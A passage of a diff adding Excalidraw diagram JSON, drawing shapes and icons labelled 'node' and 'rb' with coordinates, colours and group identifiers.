"diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.04543683254775536, + 6.043098728851262 + ], + [ + 4.816304250061906, + 8.693580627470233 + ], + [ + 4.9374691368559125, + 1.6508715825683917 + ], + [ + 0.5755332122715494, + 0.4392227146282873 + ] + ] + }, + { + "type": "line", + "version": 2310, + "versionNonce": 43265248, + "index": "c0UZsV", + "isDeleted": false, + "id": "9PazyRvTXEVsfb9JFzwpC", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1554.659202990562, + "y": -892.1451518771191, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 5.388791910343716, + "height": 8.724780038159027, + "seed": 1223084472, + "groupIds": [ + "xuJ39xyZSn8gSKnjqqLRU", + "WIIT0Ft1IaUsLi7d1ntlg", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.388791910343716, + 1.550007838579665 + ], + [ + -5.057111247655056, + 8.724780038159027 + ], + [ + -0.24232977358802085, + 6.103681172248265 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2025, + "versionNonce": 2101055712, + "index": "c0UZt", + "isDeleted": false, + "id": "wlYrA2qh6jEuoBwnJyDxR", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1544.2390227262767, + "y": -892.8115587544862, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 10.405034653435624, + "height": 3.195723889192021, + "seed": 1171575480, + "groupIds": [ + "xuJ39xyZSn8gSKnjqqLRU", + "WIIT0Ft1IaUsLi7d1ntlg", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.088925245348424, + 1.4842698632266256 + ], + [ + 10.405034653435624, + 0.12116488679401163 + ], + [ + 5.043488412800673, + -1.7114540259653952 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1354, + "versionNonce": 1968600288, + "index": "c0UZtG", + "isDeleted": false, + "id": "Qnq0hDkrnqHMyBfD-uLF3", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1535.6002028000053, + "y": -867.4920059027515, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 9.333119087971218, + "height": 9.4537020219243, + "seed": 1780071352, + "groupIds": [ + "UBIky4ezofo7EIdz_TfQH", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453344, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1296, + "versionNonce": 1886705888, + "index": "c0UZtV", + "isDeleted": false, + "id": "RffGP0xxnj00DW29T8be7", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1540.278820637386, + "y": -867.3473063820081, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.5305649093936884, + "height": 1.8569771828779855, + "seed": 1742308536, + "groupIds": [ + "UBIky4ezofo7EIdz_TfQH", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.5305649093936884, + -1.8569771828779855 + ] + ] + }, + { + "type": "line", + "version": 1279, + "versionNonce": 1109834976, + "index": "c0UZu", + "isDeleted": false, + "id": "nkA_2rQGb2k95CBImvszv", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1543.3898603333766, + "y": -866.5032258443362, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.856977182877977, + "height": 0.6993810169280661, + "seed": 213396920, + "groupIds": [ + "UBIky4ezofo7EIdz_TfQH", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.856977182877977, + -0.6993810169280661 + ] + ] + }, + { + "type": "line", + "version": 1282, + "versionNonce": 1274814688, + "index": "c0UZuG", + "isDeleted": false, + "id": "-u5JTdl_V4zh50EsD5w5V", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1544.571573086118, + "y": -862.8616212389516, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.4357752658528606, + "height": 0.4823317358124594, + "seed": 1373222584, + "groupIds": [ + "UBIky4ezofo7EIdz_TfQH", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.4357752658528606, + 0.4823317358124594 + ] + ] + }, + { + "type": "line", + "version": 1280, + "versionNonce": 1032127712, + "index": "c0UZuV", + "isDeleted": false, + "id": "sStql_9M6eWJWeqVRwwkR", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1543.7516091352354, + "y": -859.2441332203584, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.2781790999030933, + "height": 1.5675781413905017, + "seed": 1809981368, + "groupIds": [ + "UBIky4ezofo7EIdz_TfQH", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.2781790999030933, + 1.5675781413905017 + ] + ] + }, + { + "type": "line", + "version": 1272, + "versionNonce": 1414621408, + "index": "c0UZv", + "isDeleted": false, + "id": "_lha1n0JpZBVl3-0wWzcT", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1540.1582377034324, + "y": -857.9659541204549, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.289399041487577, + "height": 2.0740264639935924, + "seed": 1526032568, + "groupIds": [ + "UBIky4ezofo7EIdz_TfQH", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.289399041487577, + 2.0740264639935924 + ] + ] + }, + { + "type": "line", + "version": 1274, + "versionNonce": 468798688, + "index": "c0UZvG", + "isDeleted": false, + "id": "udync0oad8GCk-_6j9P14", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1537.33659704893, + "y": -859.6299986090085, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.6399279017623953, + "height": 1.856977182877977, + "seed": 2058850744, + "groupIds": [ + "UBIky4ezofo7EIdz_TfQH", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.6399279017623953, + 1.856977182877977 + ] + ] + }, + { + "type": "line", + "version": 1282, + "versionNonce": 771010784, + "index": "c0UZvV", + "isDeleted": false, + "id": "n4N68OaSFvYXJRbBIrjXf", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1536.2272340565612, + "y": -862.8857378257421, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.1592728695716006, + "height": 0, + "seed": 307010232, + "groupIds": [ + "UBIky4ezofo7EIdz_TfQH", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -3.1592728695716006, + 0 + ] + ] + }, + { + "type": "line", + "version": 1278, + "versionNonce": 1911264480, + "index": "c0UZw", + "isDeleted": false, + "id": "_4P80z3Wn1NDHHflQ72Td", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1537.8430453715341, + "y": -866.3826429103824, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.856977182877977, + "height": 0.4823317358124594, + "seed": 1683522488, + "groupIds": [ + "UBIky4ezofo7EIdz_TfQH", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.856977182877977, + -0.4823317358124594 + ] + ] + }, + { + "type": "ellipse", + "version": 1345, + "versionNonce": 1566963936, + "index": "c0UZwG", + "isDeleted": false, + "id": "GYiBz8wGD7LzeMcHhmQPB", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1547.7455235727805, + "y": -864.0025251562631, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 14.403356230904123, + "height": 14.589446104688362, + "seed": 1056918712, + "groupIds": [ + "ojqkitDCuO72MkmlwiFsA", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1287, + "versionNonce": 871619808, + "index": "c0UZwV", + "isDeleted": false, + "id": "TLgJX7yLtidNLfdPYzDdK", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1554.965810675612, + "y": -863.7792173077228, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.818795444650843, + "height": 2.8657840562780676, + "seed": 199554488, + "groupIds": [ + "ojqkitDCuO72MkmlwiFsA", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.818795444650843, + -2.8657840562780676 + ] + ] + }, + { + "type": "line", + "version": 1270, + "versionNonce": 1193623776, + "index": "c0UZx", + "isDeleted": false, + "id": "7qTg4S7O49wg_z9mOt3m_", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1559.7669294192465, + "y": -862.4765881912331, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8657840562780548, + "height": 1.0793212679488726, + "seed": 1613594296, + "groupIds": [ + "ojqkitDCuO72MkmlwiFsA", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.8657840562780548, + -1.0793212679488726 + ] + ] + }, + { + "type": "line", + "version": 1273, + "versionNonce": 915023072, + "index": "c0UZxG", + "isDeleted": false, + "id": "RLl8eyr3FUJPrMy_kPE-T", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1561.5906101823318, + "y": -856.8566740029469, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.7590154504425346, + "height": 0.7443594951371537, + "seed": 209512376, + "groupIds": [ + "ojqkitDCuO72MkmlwiFsA", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 3.7590154504425346, + 0.7443594951371537 + ] + ] + }, + { + "type": "line", + "version": 1271, + "versionNonce": 800229600, + "index": "c0UZxV", + "isDeleted": false, + "id": "QkMRpf2gyuc9xrbWzN0Zk", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1560.3251990405995, + "y": -851.273977789418, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.9725526621135747, + "height": 2.419168359195762, + "seed": 754397368, + "groupIds": [ + "ojqkitDCuO72MkmlwiFsA", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.9725526621135747, + 2.419168359195762 + ] + ] + }, + { + "type": "line", + "version": 1263, + "versionNonce": 774794464, + "index": "c0UZy", + "isDeleted": false, + "id": "A64cFr-X1VhZJg9zpZn7s", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1554.7797208018283, + "y": -849.3014251273048, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.44661569708244864, + "height": 3.2007458290897866, + "seed": 960518584, + "groupIds": [ + "ojqkitDCuO72MkmlwiFsA", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.44661569708244864, + 3.2007458290897866 + ] + ] + }, + { + "type": "line", + "version": 1265, + "versionNonce": 999149792, + "index": "c0UZyG", + "isDeleted": false, + "id": "cmtR2fuQDzNShrCPn1yCQ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1550.4252177552742, + "y": -851.8694653855284, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.530822283466375, + "height": 2.8657840562780548, + "seed": 343696056, + "groupIds": [ + "ojqkitDCuO72MkmlwiFsA", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -2.530822283466375, + 2.8657840562780548 + ] + ] + }, + { + "type": "line", + "version": 1273, + "versionNonce": 794866912, + "index": "c0UZyV", + "isDeleted": false, + "id": "Qx_fzAs2U3PxKQzcwuxXr", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1548.7131909164586, + "y": -856.8938919777038, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.875554693148343, + "height": 0, + "seed": 491735992, + "groupIds": [ + "ojqkitDCuO72MkmlwiFsA", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -4.875554693148343, + 0 + ] + ] + }, + { + "type": "line", + "version": 1269, + "versionNonce": 1865881824, + "index": "c0UZz", + "isDeleted": false, + "id": "SI2PB9SH_nxc0tfHhnoEr", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1551.2067952251691, + "y": -862.2904983174483, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8657840562780548, + "height": 0.7443594951371537, + "seed": 1037898936, + "groupIds": [ + "ojqkitDCuO72MkmlwiFsA", + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -2.8657840562780548, + -0.7443594951371537 + ] + ] + }, + { + "type": "text", + "version": 1429, + "versionNonce": 782302432, + "index": "c0UZz8", + "isDeleted": false, + "id": "0yV9Oo48", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1530.5083301417149, + "y": -835.0458267636777, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 38.27450401985595, + "height": 22.393521123891905, + "seed": 2076818872, + "groupIds": [ + "G9kOsNdXAq7mteUPD5u97", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "fontSize": 17.91481689911352, + "fontFamily": 1, + "text": "node", + "rawText": "node", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "node", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3499, + "versionNonce": 791568608, + "index": "c0UZzG", + "isDeleted": false, + "id": "qrW8RdSuvGm8kztHeay-Z", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1896.9674769512442, + "y": -959.1035688939376, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 137971384, + "groupIds": [ + "UZXo8XUHDNblQw9sd-J7W", + "AvJVrt8E8OFuh_q2-wjPL", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2345, + "versionNonce": 7292128, + "index": "c0UZzV", + "isDeleted": false, + "id": "mZXEalZXYtO2Qvlhe1aR0", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1898.125331719087, + "y": -960.0147704760702, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1339011000, + "groupIds": [ + "UZXo8XUHDNblQw9sd-J7W", + "AvJVrt8E8OFuh_q2-wjPL", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1148, + "versionNonce": 1072933088, + "index": "c0UZzd", + "isDeleted": false, + "id": "L6qe8ealvcq-9zdYJxrmL", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1892.6716965327357, + "y": -922.5336097537502, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 19.000088359151977, + "height": 20.234751140613234, + "seed": 179370168, + "groupIds": [ + "JdS7zANFVmZzY2e5iyP1h", + "AvJVrt8E8OFuh_q2-wjPL", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -12.1408506843679, + 0.6173313907305251 + ], + [ + -18.86290360565642, + 10.220264135428335 + ], + [ + -13.238328712333393, + 19.548827373134824 + ], + [ + 0.1371847534955564, + 20.234751140613234 + ] + ] + }, + { + "type": "line", + "version": 1223, + "versionNonce": 1498123488, + "index": "c0UZzl", + "isDeleted": false, + "id": "zQiWDeVhbzcB5x2YnaSlj", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1900.0581150438213, + "y": -921.9600111736984, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 19.000088359151977, + "height": 20.234751140613234, + "seed": 1283531192, + "groupIds": [ + "JdS7zANFVmZzY2e5iyP1h", + "AvJVrt8E8OFuh_q2-wjPL", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 12.1408506843679, + 0.6173313907305251 + ], + [ + 18.86290360565642, + 10.220264135428335 + ], + [ + 13.238328712333393, + 19.548827373134824 + ], + [ + -0.1371847534955564, + 20.234751140613234 + ] + ] + }, + { + "type": "line", + "version": 1054, + "versionNonce": 1174860000, + "index": "c0Ua", + "isDeleted": false, + "id": "XsFMK9Zokjol70Yb0LJKi", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1886.7727521324193, + "y": -912.5877151253137, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 17.559648447447483, + "height": 0.06859237674788249, + "seed": 342108856, + "groupIds": [ + "JdS7zANFVmZzY2e5iyP1h", + "AvJVrt8E8OFuh_q2-wjPL", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 17.559648447447483, + -0.06859237674788249 + ] + ] + }, + { + "type": "rectangle", + "version": 1313, + "versionNonce": 1303762144, + "index": "c0Ua0V", + "isDeleted": false, + "id": "cwIQmWwxBos35-IWV7j1L", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dotted", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1866.9678623072343, + "y": -937.3990022847843, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 61.65376280346684, + "height": 53.591942618663595, + "seed": 1560155064, + "groupIds": [ + "AvJVrt8E8OFuh_q2-wjPL", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1033, + "versionNonce": 1172846816, + "index": "c0Ua1", + "isDeleted": false, + "id": "HvuMYycU", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1890.274042615854, + "y": -884.6025622940649, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 17.209689239634457, + "height": 22.935001028129516, + "seed": 745725112, + "groupIds": [ + "AvJVrt8E8OFuh_q2-wjPL", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "fontSize": 18.34800082250361, + "fontFamily": 1, + "text": "rb", + "rawText": "rb", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "rb", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 2124, + "versionNonce": 1378753760, + "index": "c0Ua1V", + "isDeleted": false, + "id": "UjGR6GxlG3pWwTBjiuong", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1497.477524701922, + "y": -976.8002008140566, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 610698680, + "groupIds": [ + "1hYQsrDRj0Aow4P64X1xX", + "F3FZIPzp1jXI-vR4DAzeq", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453345, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ 